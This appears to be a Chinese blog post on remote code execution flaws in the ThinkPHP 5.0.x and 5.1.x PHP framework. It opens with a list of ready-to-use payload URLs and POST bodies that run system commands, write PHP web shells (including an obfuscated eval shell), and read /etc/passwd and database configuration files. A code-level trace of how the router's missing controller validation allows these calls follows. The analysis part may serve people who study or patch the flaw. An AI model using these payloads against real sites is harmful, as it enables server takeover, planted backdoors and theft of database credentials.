本测试环境用的是php7.0.12+apache+thinkphp5.0.20

poc:http://127.0.0.1/tp5.0/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['aa']);?>' > 2.php
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php eval($_POST[nmsl]);?> # 写入shell
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../application/database.php
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../../../../../../../../../../../../../../etc/passwd
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../application/config.php

版本号:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system

版本号:5.0.20~5.0.23
payload:
http://url/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
?s=captcha(POST请求)
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=file_put_contents("test.php",base64_decode("MTIz"));


https://y4er.com/post/thinkphp5-rce/
https://blog.csdn.net/weixin_45949219/article/details/104334715
POST
http://url/?s=index/index/
s=-1&_method=__construct&method=get&filter[]=phpinfo
POST
http://url/?s=index/index/
s=file_put_contents('1.php','<?php ev'.'al($_PO'.'ST[x])?>')&_method=__construct&method=POST&filter[]=assert
Thinkphp 漏洞

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

rce 漏洞的过程

$this->method可控导致可以调用__contruct()覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行$request->param(),并且还有$dispatch['type'] 等于controller或者 method 时也会执行$request->param(),而$request->param()会进入到input()方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce。

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd

?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> 

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> 

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id

5.0.x

?s=index/think\config/get&name=database.username // 获取配置信息

?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件

?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id

?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=whoami

可以看到payload分为两种类型,一种是因为Request类的method和__construct方法造成的,另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验

参考自:https://y4er.com/post/thinkphp5-rce/

在这里插入图片描述
首先看入口文件,引入thinkphp/start.php文件
在这里插入图片描述
跟进thinkphp/start.php,执行的是think/App.php下的run()方法
在这里插入图片描述
thinkphp5.0.x漏洞原因是对url处理有关,直接找到think/App.php中run()方法的 URL 路由检测部分
在这里插入图片描述
跟进routeCheck()函数,此函数是对路由的检测,routeCheck()函数中判断url中是否设置路由,由于本身根本就没有 路由定义返回不同的URL调度,所以他会走false
在这里插入图片描述
parseUrl()此函数用来解析变量$path(index/think\app/invokefunction),跟进函数,函数中就是对$path的处理,’/‘替换成’|’,去除左右两边空格,
在这里插入图片描述
之后parseUrl()函数会把$route($route中有 module模块,controller控制器,action方法)以数组的形式返回到routeCheck函数,然后routeCheck()函数返回给dispatch变量(在run函数中)
在这里插入图片描述
在这里插入图片描述
漏洞就处在此,并不是执行方法错误,而是并未对url进行严谨的过滤
在这里插入图片描述
上面打印出来的type是module,所以会走case ‘module’,跟进module方法
在这里插入图片描述
继续跟进module方法的返回的invokeMethod函数
在这里插入图片描述
invokeMethod函数
在这里插入图片描述
$args会获取POC中的余下的参数function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值
call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数。
最后通过反射类IncokeArges()来执行think/app类里面的invokefunction方法

漏洞出现在,没路由的情况下,parseURL解析路由时,没有对url做严谨的过滤导致(反斜杠 think\app)
在这里插入图片描述
最终导致传入exec函数的控制器为think\app,而最后通过$reflect->invokeArgs(isset($class) ? $class : null, $args)来解析类和参数,从而导致命令执行漏洞。

posted on 2022-09-13 18:14  noone52  阅读(425)  评论(0编辑  收藏  举报